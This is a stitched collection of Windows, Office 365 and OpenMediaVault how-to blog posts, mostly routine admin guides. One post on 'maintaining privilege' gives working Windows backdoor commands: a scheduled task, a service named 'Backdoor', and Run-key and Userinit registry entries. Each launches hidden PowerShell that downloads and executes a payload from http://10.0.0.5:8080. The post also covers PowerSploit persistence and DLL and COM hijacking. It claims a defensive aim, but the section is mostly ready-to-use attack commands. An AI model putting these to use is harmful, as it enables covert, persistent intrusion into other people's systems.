How to: Force Reboot or troubleshoot during Windows 10 Autopilot out-of-box experience (OOBE) configuration/setup

During Windows 10 Autopilot/OOBE setup, we will see screen similar to following screenshot.

Setting up your device for work
Setting up your device for work

While there is no button or any other choices to let us restart the device etc.

We can use following method to force reboot the device.

1 Force Reboot/Shutdown

1.1 Use following key combination to open command prompt

Shift + F10

1.2 Enter following command to restart immediately or shutdown immediately.

#Restart
shutdown /r /t 0
#Shutdown
shutdown /s /t 0

2 Troubleshooting/Diagnostic

2.1 Follow step 1.1 to launch command prompt

2.2 Type “eventvwr” to open “Event Viewer”

2.3 Find the event

  • (Windows 10 before version 1903) Navigate to “Application and Services Logs -> Microsoft -> Windows -> Provisioning-Diagnostics-Provider -> Autopilot”
  • (Windows 10 above version 1903) “Application and Services Logs –> Microsoft –> Windows –> ModernDeployment-Diagnostics-Provider –> AutoPilot”

2.4 Now we can diagnostic the issues related to Autopilot. During OOBE setup process.

Resources


How to fix: Office 365 Autopilot – Error 640 StorageError

The Error

Internal error
ERROR CODE:
640 - StorageError
CSV LINE NUMBERS AFFECTED:
x
Office 365 Autopilot - Error 640 StorageError
Office 365 Autopilot – Error 640 StorageError

Usually it means the Office 365 has the device detail in the system.

Which means you have added the device to Office 365/Azure Active Directory (AAD) beforehand.

Even after you have removed the device from AAD from device settings.

The same error will appear if you try to import CSV again.

The Fix

Method 1: We can try add the device back to the AAD, then delete the device from Office 365/AAD not on the device.

Method 2: We can try to delete remove the device from Office 365/AAD from the device (not Office 365/AAD) then wait till next day or 24 hours, then try to import the CSV again.

How to: Enable/Disable Windows Hello / Windows Hello for Business via Group Policy, Registry, Command Prompt (CMD)

This guide is suitable for both domain joined/Intune Managed and non-domain joined/non-Intune Managed Windows 10.


Table of contents


If you are not sure which kind of Windows 10 you are using, jump to Section 2

1 For Domain Joined / Intune Managed Windows 10

If configuring with domain joined/Intune managed Windows 10, sometimes we want to give the user option to use the Windows Hello or not. Then follow this guide first “Windows 10 Sign-in options and Windows Hello Set up button greyed out After Joined AAD (Azure Active Directory)” After we have done with the above guide (The above guide modify the Windows Hello for Business organisation wide for future enrol Windows 10), next time we have new Windows 10 enrolled to the AAD, the system will request us to setup PIN/Windows Hello or Windows Hello for Business on enrolment but sometimes we don’t want to setup Windows Hello / Windows Hello for Business for some devices. We can follow Section 2 to enable and disable Windows Hello for Business individually.

2 For domain joined/ Intune Managed, non-domain joined/non-Intune managed and all other average users of Windows 10

2.1 Enable and Disable Windows Hello for Business via Group Policy

GUI

2.1.1 Use Win + R to lunch “RUN” window

Microsoft Windows - Run window
Microsoft Windows – Run window

2.1.2 Type gpedit.msc then hit Enter key to open Local Group Policy Editor

Windows 10 Local Group Policy Editor
Windows 10 Local Group Policy Editor

2.1.3 Navigate to “Computer Configuration” -> “Administrative Templates” -> “Windows Components” -> “Windows Hello for Business”

"Computer Configuration" -> "Administrative Templates" -> "Windows Components"
“Computer Configuration” -> “Administrative Templates” -> “Windows Components”
-> "Windows Hello for Business"
-> “Windows Hello for Business”

2.1.4 Double click on “Use Windows Hello for Business”

Double click on "Use Windows Hello for Business"
Double click on “Use Windows Hello for Business”

2.1.5 From the pop-up window, we can Enable or Disable Windows Hello for Business, also Enable or Disable “Do not start Windows Hello provisioning after sign-in”

Enable or Disable Windows Hello for Business
Enable or Disable Windows Hello for Business

To Enable Windows 10 to ask users to setup Windows Hello for Business right after login, we can leave the “Do not start Windows Hello provisioning after sign-in” option unchecked. (Useful for pre-configuration, then deliver to the end user, a form of forcing the end user to setup the Windows Hello for Business, If you have Multi-factor authentication (MFA) configured, it might ask them to configure MFA first before configuring Windows Hello for Business.)

To disable Windows 10 to ask users to setup Windows Hello for Business right after login, we need check the “Do not start Windows Hello provisioning after sign-in” option.

2.2 Enable and Disable Windows Hello for Business via Registry

2.2.1 Follow Step 2.1.1 to 2.1.2, Instead typing “gpedit.msc” we replace it with “regedit”

Windows 10 Registry Editor
Windows 10 Registry Editor

2.2.2 Navigate to “Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\PassportForWork”

Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\PassportForWork
Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\PassportForWork

2.2.2.1 (If “PassportForWork” Key does not exist, create it manually) Right click on “Microsoft” -> Select “New” -> “Key” -> Name it “PassportForWork”

Create PassportForWork key
Create PassportForWork key

2.2.3 We need to create two Values “Enabled” and “DisablePostLogonProvisioning” Right click on right panel, Select “New” -> “DWORD (32-bit) Value”

Enabled value: 0 = Disabled, 1 = Enabled

DisablePostLogonProvisioning value: 0 = Disabled, 1 = Enabled

Create "Enabled" and "DisablePostLogonProvisioning" DWORD
Create “Enabled” and “DisablePostLogonProvisioning” DWORD

(To change it to “Not Configured”, we can just delete the “PassportForWork” Key)

.reg file

Save following as “filename.reg” file then double click and import will have same effect

  • Enable “Windows Hello for Business” and “Start Windows Hello provisioning after sign-in”
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\PassportForWork]
"Enabled"=dword:00000001
"DisablePostLogonProvisioning"=dword:00000000
  • Enable “Windows Hello for Business” but “Do not start Windows Hello provisioning after sign-in”
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\PassportForWork]
"Enabled"=dword:00000001
"DisablePostLogonProvisioning"=dword:00000001
  • Disable “Windows Hello for Business”
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\PassportForWork]
"Enabled"=dword:00000000
"DisablePostLogonProvisioning"=dword:00000000
  • Change back to “Not Configured” (Remove “PassportForWork” Key)
Windows Registry Editor Version 5.00
[-HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\PassportForWork]

2.3 Command Prompt (CMD), .bat, .cmd

Save following as “filename.bat” or “filename.cmd” file then double click or entry following commands directly in Command Prompt window (Admin) to make the changes

  • Enable “Windows Hello for Business” and “Start Windows Hello provisioning after sign-in”
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\PassportForWork" /v Enabled /t REG_DWORD /d 1 /f
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\PassportForWork" /v DisablePostLogonProvisioning /t REG_DWORD /d 0 /f
  • Enable “Windows Hello for Business” but “Do not start Windows Hello provisioning after sign-in”
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\PassportForWork" /v Enabled /t REG_DWORD /d 1 /f
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\PassportForWork" /v DisablePostLogonProvisioning /t REG_DWORD /d 1 /f 
  • Disable “Windows Hello for Business”
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\PassportForWork" /v Enabled /t REG_DWORD /d 0 /f
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\PassportForWork" /v DisablePostLogonProvisioning /t REG_DWORD /d 0 /f  
  • Change back to “Not Configured” (Remove “PassportForWork” Key)
reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\PassportForWork" /v Enabled /f
reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\PassportForWork" /v DisablePostLogonProvisioning /f
reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\PassportForWork" /f

Windows “Another installation is already in progress error”

Error

“Another program is being installed. Please wait until that installation is complete, and then try installing this software again.”

“Another installation is already in progress. Complete that installation before proceeding with this install.”

“Cannot run when setup is in progress.”

“Another installation is in progress. You must complete that installation before continuing this one.”

etc…


If it is due to running “msiexec.exe” try following

1 Copy and save following to Killmsiexec.bat or Killmsiexec.cmd

@echo off
echo dannyda.com
tasklist /fi "imagename eq msiexec.exe" | find /i "msiexec.exe" > nul
if not errorlevel 1 (taskkill /f /im "msiexec.exe") else (
  echo program msiexec.exe is not running
)
pause

2 Right click and run Killmsiexec.bat or Killmsiexec.cmd with administrator privilege

3 Now try the to install or uninstall the program again

Windows PowerShell change Hard Drive/Media type for Windows Server Storage Space / Storage Pool

1 List all physical disks

Get-PhysicalDisk
Microsoft PowerShell - Get-PhysicalDisk
Microsoft PowerShell – Get-PhysicalDisk

2 If you have multiple physical disks with same name use following command

Get-PhysicalDisk | Select-Object SerialNumber,UniqueId, FriendlyName
Microsodr PowerShell - Get-PhysicalDisk | Select-Object SerialNumber,UniqueId, FriendlyName
Microsodr PowerShell – Get-PhysicalDisk | Select-Object SerialNumber,UniqueId, FriendlyName

3 Find the right “UniqueId” for the physical disk which you want to changedrive/media type for

4 Change the hard drive/media type

For systems with physical disks without same name

Set-PhysicalDisk –FriendlyName "PhysicalDisk6" -MediaType SSD

For systems with physical disks with same name

Set-PhysicalDisk –UniqueId "{016ag017-1cd2-81-mugf-26j28503l5vb}" -MediaType SSD

Bonus

-MediaType: Accepted values: HDD, SSD, SCM

Extra Reading

Set-PhysicalDisk

Common ways to maintaining privilege/access in Windows, Backdoor, Fileless backdoor

In order to be able to protect the system from intrusion, we need to understand how the privilege maintaining works.

Windows Task Scheduler

Use Windows Task Scheduler to launch recurring tasks such as script, software etc.

schtasks /create /sc minute /mo 1 /tn "Update Script" /tr "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring(\"\"\"http://10.0.0.5:8080/fun.png\"\"\"))\""

Note: When execute in command prompt, single quote will be replace to double quot, here we use three double quotes.

This script will launch every 1 minute

Windows Task Scheduler
Windows Task Scheduler

Autostart Service

sc create "Backdoor" binpath= "cmd /c start powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.0.0.5:8080/fun.png'))\""
sc description Backdoor "Backdoor Test"        //Description for the service
sc config Backdoor start= auto                //Make it auto-start
net start Backdoor                            //Start the service
Windows Services
Windows Services

WMI

We can utilize “powersploit” module from “powersploit”

Import-Module .\Persistence\Persistence.psm1
$ElevatedOptions = New-ElevatedPersistenceOption -PermanentWMI -Daily -At '1 PM'
$UserOptions = New-UserPersistenceOption -Registry -AtLogon
Add-Persistence -FilePath .\EvilPayload.ps1 -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $UserOptions -Verbose

Registry

Add backdoor path to auto-run key, to start the backdoor on system boot

Common auto-start keys

# Run Key
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
# Winlogon\Userinit Key
HKEY_CURRENT_USER\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon

(There are many other similar keys related to auto-start)

Use following command to create fileless backdoor

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "KeyNameBackdoor" /t REG_SZ /d "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.0.0.5:8080/fun.png'))\"" /f

Logon Scripts Backdoor

Registry path:

HKEY_CURRENT_USER\Environment\

Create string key:

UserInitMprLogonScript

Set Value to absolute path:

C:\backdoor.bat

userinit Fileless Backdoor

When login, winlogon will run specified program. It can be used to Add/Remove program.

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
 "Userinit"="C:\Windows\system32\userinit.exe,C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.0.0.5:8080/fun.png'))\""

Group Policy logon script

Run -> gpedit.msc -> User Configuration -> Scripts (Logon/Logoff)

Windows Local Group Policy Editor
Windows Local Group Policy Editor

Note: Must use full path e.g. “C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe”

DLL Hijacking

If an process is trying to load a dll without absolute path, Windows will try to look for the dll from specified folder. If one of the folders can by modified by the attacker, the malicious dll will be loaded, then the malicious code will be executed.

Common attack like LPK.dll

Windows 7 and up have added KnownDLLs protection, add LPK.dll to following registry key to enable the dll hijacking

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\

Create String type of Key name it

ExcludeFromKnownDlls

Set the value to

LPK.dll

COM hijacking

The key is to create correct dll and choose right CLSID, by changing CLSID key value from registry, CAccPropServicesClass hacking and MMDeviceEnumerator hijacking can be carried out.
Many system processes will invoke them when starting. It can bypass auto-start checks from Autoruns.

Remote Control, Remote Access Trojan (RAT)

RAT is a type of malicious program it includs backdoors on victims’ devices. Usually propagate by normal client requests, e.g. email attachments, game program. etc. Attacker use them on clients’ device to spread RAT, eventually build botnet.

To keep the system safe and away from backdoors, we have to have knowledge in troubleshooting intrusion, keep the system up to date, check server security regularly.

How To: Create Apple Time Machine in Open Media Vault 5 (OMV 5) with Shared Folder (SMB Share/Windows Share/Shared Folder/CIFS)

In How To: Create Apple Time Machine in Open Media Vault (OMV) we have walked-through how to create Apple Time Machine in OMV 4 with openmediavault-netatalk plugin. It’s compatible with many older and newer macOS, but it’s not possible to see or share files using that space with Microsoft Windows Operating Systems like Windows 10 etc.

From macOS Mojave 10.14 and onwards (Including macOS Catalina 10.15), Time Machine is compatible with Windows Share/Shared Folder/SMB/CIFS. (Suggested minimum SMB version V3)

This guide will not only walk you through how to create apple time machine in open media vault 5 (OMV 5) with Shared Folder/SMB Share/Windows Share/CIFS, you will also learn how to create Windows shared folder for use between Windows PC<-> Windows PC, Windows PC <-> macOS, macOS <-> macOS in OMV 5.

(For OpenMediaVault 4/OMV 4, please follow this one: How To: Create SMB/CIFs/Windows Share in Open Media Vault (OMV))

1 Make sure OMV 5 Installed

1.1 Login to OMV webui

1.2 Go to “Diagnostics” -> “System Information”

OMV -> Diagnostics -> System Information
OMV -> Diagnostics -> System Information

1.3 Make sure you have OMV 5 installed

OMV - Version - 5.2.1-1 (Usul)
OMV – Version – 5.2.1-1 (Usul)

2 Create File system

2.1 Make sure you have attached the physical disk to the device

2.2 Login to open media vault webui

2.3 Go to “Storage” -> “Disks”

OMV -> Storage -> Disks
OMV -> Storage -> Disks

2.4 Scan for disks if it’s not there

OMV -> Storage -> Disks -> Scan
OMV -> Storage -> Disks -> Scan

2.5 Go to “Storage” -> “File Systems”

OMV -> Storage -> File Systems
OMV -> Storage -> File Systems

2.6 Click on “Create” button to create and initialise the disk for use

OMV-> Storage -> File Systems
OMV-> Storage -> File Systems

2.7 Create file system, make sure you have selected correct “Device”, you can leave the “Label” empty, select default “EXT4” as “File system” if you have no idea what is this or which one to go with.

OMV-> Storage -> File Systems -> Create file system
OMV-> Storage -> File Systems -> Create file system

2.8 Now the new File system is created, we need to Mount it (Attach it for use). Select the File system we have just created, then click on Mount button

OMV-> Storage -> File Systems -> Mount
OMV-> Storage -> File Systems -> Mount

2.9 Click on “Apply” to commit the change

The configuration has been changed. You must apply the changes in order for them to take effect.
The configuration has been changed. You must apply the changes in order for them to take effect.

3 Create Windows Share (SMB Share/Shared Folder/CIFS) For Time Machine (and Windows) to use/share

3.1 Go to “Services” -> “SMB/CIFS”

OMV -> Services -> SMB/CIFS
OMV -> Services -> SMB/CIFS

3.2 Click on “Shares” then click on “Add”

OMV - Services -> SMB/CIFS -> Shares -> Add
OMV – Services -> SMB/CIFS -> Shares -> Add

3.3 Click on “+” button from “Shared folder” row

OMV -> Services -> SMB/CIFS -> Shares -> Add -> Add Share
OMV -> Services -> SMB/CIFS -> Shares -> Add -> Add Share

3.4 Give it a name, select correct device, create a path leave the permission as default, Click on “Save” button to save the settings

OMV -> Services -> SMB/CIFS ->Shares -> Add -> Add Share ->Add shared folder
OMV -> Services -> SMB/CIFS ->Shares -> Add -> Add Share ->Add shared folder

3.5 Make sure “Shared folder” row has right settings, Make sure “Time Machine support” is enabled, Click on “Save” button to save the settings

OMV -> Services -> SMB/CIFS -> Shares -> Add -> Add Share
OMV -> Services -> SMB/CIFS -> Shares -> Add -> Add Share
OMV -> Services -> SMB/CIFS -> Shares -> Add -> Add Share
OMV -> Services -> SMB/CIFS -> Shares -> Add -> Add Share

3.6 Click on Settings, enable SMB/CIFS service

OMV -> Services -> SMB/CIFS -> Settings -> Enable
OMV -> Services -> SMB/CIFS -> Settings -> Enable

3.7 Now you will be able to find the Time Machine folder from your “macOS” -> Top Left corner “Apple Icon” -> “System Preferences” -> “Time Machine” -> “Select Backup Disk…” (Warning: It’s a good idea to continue with Section 4 to create and use a dedicate account for accessing shared folder rather than using OMV’s administrator account for security reasons though it’s not essential for making shared folder and Time Machine working)

macOS -> Apple Icon -> System Preferences...
macOS -> Apple Icon -> System Preferences…
macOS -> Apple Icon -> System Preferences... -> Time Machine
macOS -> Apple Icon -> System Preferences… -> Time Machine
macOS -> Apple Icon -> System Preferences... -> Time Machine -》 Select Backup Disk...
macOS -> Apple Icon -> System Preferences… -> Time Machine -》 Select Backup Disk…

4 Create and configure Users if necessary

4.1 Go to “Access Rights Management” -> “User”

OMV -> Access Rights Management -> User
OMV -> Access Rights Management -> User

4.2 Click on “Add” -> “Add”

OMV -> Access Rights Management -> User -> Add -> Add
OMV -> Access Rights Management -> User -> Add -> Add

4.3 Enter Name, Password for the new user under “General” tab, make sure the user is in “users” group under “Group” tab

OMV -> Access Rights Management -> User -> Add -> Add -> Add user - General
OMV -> Access Rights Management -> User -> Add -> Add -> Add user – General
OMV -> Access Rights Management -> User -> Add -> Add -> Add user - Group
OMV -> Access Rights Management -> User -> Add -> Add -> Add user – Group

4.3 Now you should be able to see the new user in the list

OMV -> Access Rights Management -> User
OMV -> Access Rights Management -> User

5 Configure user permission for shared folder

5.1 Go to “Access Rights Management” -> “Shared Folders”

OMV -> Access Rights Management -> Shared Folders
OMV -> Access Rights Management -> Shared Folders

5.2 Click on the shared folder which we have configured in Section 3, then click on “Privileges” button, make sure give “Read/Write” access to the user we have created

OMV -> Access Rights Management -> Shared Folders
OMV -> Access Rights Management -> Shared Folders

6 Configure Time Machine on macOS

6.1 On macOS, go to Top Left corner “Apple Icon” -> “System Preferences” -> “Time Machine” -> “Select Backup Disk…”

macOS -> Apple Icon -> System Preferences...
macOS -> Apple Icon -> System Preferences…
macOS -> Apple Icon -> System Preferences... -> Time Machine
macOS -> Apple Icon -> System Preferences… -> Time Machine
macOS -> Apple Icon -> System Preferences... -> Time Machine -》 Select Backup Disk...
macOS -> Apple Icon -> System Preferences… -> Time Machine -》 Select Backup Disk…

6.2 Select the one we have just created under “Available Disks”, click on “Use Disk” button, it will start to backup automatically. If you want secure the backup, make sure check the “Encrypt backups” before click on “Use Disk”

macOS Catalina -> Time Machine - Available Disks
macOS Catalina -> Time Machine – Available Disks

6.3 If you do not like automatic backup, just uncheck “Back Up Automatically” (Check “Show Time Machine in menu bar”, it will make your manual backup easier, the time machine icon will appear at the top of the screen (Menu bar) and access able for you to manually backup)

macOS Catalina -> Time Machine
macOS Catalina -> Time Machine

Extra: 7 Configure disk quota (Limit Time Machine size in shared folder)

7.1 In OMV, go to “Storage” -> “File Systems”, click on the Filesystem which we have just created, click on “Quota”, set an appropriate size limit for the user we have just created for Time Machine purpose and click on “Save” button

OMV - Configure quota for user
OMV – Configure quota for user

Note: This will not only limit Time Machine backup size, it actually limits the usable size for the user/account on this filesystem which means, including time machine and windows share as well. If you only want to limit time machine size, use that account only for time machine purpose, then create another account for windows share or other purpose of file sharing.

Extra: 8 Microsoft Windows access the shared folder

8.1 Open File Explorer/This PC from Windows and enter the IP address of OMV or host name of it e.g. o-test.mynetwork then Press Enter key

Microsoft Windows 10 - This PC/File Explorer
Microsoft Windows 10 – This PC/File Explorer

8.2 Enter your credential details then click on “OK” button

Microsoft Windows 10 - Login Window
Microsoft Windows 10 – Login Window

8.3 Now you will see the shared folder which we have created

Shared folder - tm
Shared folder – tm

8.4 Double click to open the shared folder, If you have already initialized Time Machine backup, you will be able to see a folder named “YourMacName.backupbundle”

Shared folder - tm - Time Machine backup
Shared folder – tm – Time Machine backup

(You won’t be able to see normal file structures e.g. your photo or document on your macOS’ desktop (Since it’s just for demo purpose I did not opt-in for encrypt backup option and that’s what you will see if the time machine backup is not encrypted ))

Shared folder - tm - Time Machine backup Folder
Shared folder – tm – Time Machine backup Folder
Shared folder - tm - Time Machine backup Folder - bands folder
Shared folder – tm – Time Machine backup Folder – bands folder
Shared folder - tm - Time Machine backup Folder - mapped folder
Shared folder – tm – Time Machine backup Folder – mapped folder
Shared folder - tm - Time Machine backup Folder Peoperties
Shared folder – tm – Time Machine backup Folder Peoperties

8.5 You can also create and modify folders and files in the shared folder from Windows PC

Creating a New folder from Windows 10 PC in shared folder
Creating a New folder from Windows 10 PC in shared folder
Creating a New test document from Windows 10 PC in shared folder
Creating a New test document from Windows 10 PC in shared folder

(Note: I strongly suggest to use this shared folder only for time machine, to protect the backup files from mistakes like accidental deletion/rename etc. You can follow Section 3 and Section 4 again to create an dedicate shared folder for macOS and Windows PC to share files rather than for Time Machine to backup files and the system, the only difference will be leave the “Time Machine support” option disabled at Step 3.5)

Other resources:

OpenMediaVault official website: https://www.openmediavault.org

OpenMediaVault official Download page: https://www.openmediavault.org/download.html

OpenMediaVault official SourceForge download repository: https://sourceforge.net/projects/openmediavault/files

How to resolve: Windows – “Destination Path Too Long” Error

Keywords: Microsoft Windows, Destination path too long, long file name, long path, Error, cmd, command prompt, run

When we are trying to rename, delete a folder or file which has very long length “Folder names + file name” or “Folder names” we will encounter following error

“The file name(s) would be too long for the destination folder. You can shorten the file name and try again, or try a location that has a shorter path.”

Microsoft Windows - Destinatoin Path Too Long
Microsoft Windows – Destinatoin Path Too Long

Try following methods

To Delete

1.1 Use Win + R launch “Run” window

Microsoft Windows - Run window
Microsoft Windows – Run window

1.2 Enter “cmd” in “Run” window, press Enter key to launch “Command Prompt” window

1.3 We use following command to delete the folder, including subfolders

rd /s /q "D:\FolderName"

e.g.

rd /s /q "D:\New Folder"

(The root folder “D:\New Folder” will be deleted too)

To Rename

2.1 Follow 1.1 to 1.2 to launch ” Command Prompt” window

2.2 Use following command to rename folder and file with long name which we can’t using windows file explorer

ren "D:\Folder Name" "D:\folder"

e.g.

ren "D:\my folder with very long name" "D:\newname"
ren "D:\folder\file with long name.txt" "D:\folder\file.txt"

e.g.

ren "D:\picture\my text file.txt" "D:\picture\my file.txt" 

Free and Open source TrafficMonitor software – TrafficMonitor

Keywords: Traffic Monitor, open source, free, CPU monitor, RAM monitor, CPU usage, RAM usage, skin, Traffic history

TrafficMonitor

TrafficMonitor - Main Window
TrafficMonitor – Main Window
  • Completely Free and Open source
  • No advertisements
  • Monitoring Internet/Traffic usage
  • Traffic history
  • Monitoring CPU usage
  • Monitoring RAM usage
  • Supports customised skin
  • Multilingual (English, Simplified Chinese, Traditional Chinese)
TrafficMonitor - Option Settings - Main Window Settings
TrafficMonitor – Option Settings – Main Window Settings
TrafficMonitor - Option Settings - Tasbar Window Settings
TrafficMonitor – Option Settings – Tasbar Window Settings
TrafficMonitor - Option Settings - General Settings
TrafficMonitor – Option Settings – General Settings
TrafficMonitor - Main Window - Mouse hover tip
TrafficMonitor – Main Window – Mouse hover tip
TrafficMonitor - Main Window - Right click menu
TrafficMonitor – Main Window – Right click menu
TrafficMonitor - Main Window - Right click menu - Other Functions
TrafficMonitor – Main Window – Right click menu – Other Functions
TrafficMonitor - Taskbar Window
TrafficMonitor – Taskbar Window

Download:

https://github.com/zhongyang219/TrafficMonitor/releases

How to: Connect PowerShell to Office 365 Exchange with Multi-factor authentication (MFA) enabled

Keywords: Microsoft, Microsoft Windows, Microsoft Office 365, Microsoft Windows PowerShell, Microsoft Office 365 Exchange, Multi-factor authentication, MFA, ecp, connect to Microsoft Office 365 Exchange via PowerShell with MFA enabled

1 Use Microsoft Edge or Internet Explorer (You have to use Microsoft Edge or Internet Explorer for this one) to login to: https://outlook.office365.com/ecp/

2 Click on “hybrid”, find “The Exchange Online PowerShell Module supports multi-factor authentication. Download the module to manage Exchange Online more securely. Learn more” click on “configure”

Microsoft Office 365 Exchange admin center
Microsoft Office 365 Exchange admin center

3 Click on “Open” button from the browser

Microsoft Edge - Microsoft Office 365 Exchange admin center - hybrid - configure
Microsoft Edge – Microsoft Office 365 Exchange admin center – hybrid – configure

4 If you get a pop up asking “How do you want to open this?” Select “Microsoft Edge” then click on “OK” button

Microsoft Edge - "How o you want to open this?"
Microsoft Edge – “How o you want to open this?”

5 A Windows PowerShell window will pop up upon finishing downloading.

Microsoft Windows PowerShell
Microsoft Windows PowerShell

6 Enter following command and press “Enter” key (Change “[email protected]” to proper administrator email address)

Connect-EXOPSSession -UserPrincipalName [email protected]

e.g.

Connect-EXOPSSession -UserPrincipalName [email protected]

7 Sign with “Sign in to your account” pop up window, enter your password then authorise via MFA

Microsoft Windows PowerShell - MFA login
Microsoft Windows PowerShell – MFA login

8 The warning is fine, we can still use the PowerShell to manage Microsoft Office 365 Exchange

 Microsoft Windows PowerShell - Exchange logged in
Microsoft Windows PowerShell – Exchange logged in

Now, you have successfully connected to Microsoft Office 365 Exchange via Windows PowerShell.

Bonus:

You can use following command to list identity information from your groups

Get-UnifiedGroup -Identity "Group Name" | Format-List

e.g.

Get-UnifiedGroup -Identity "Financial" | Format-List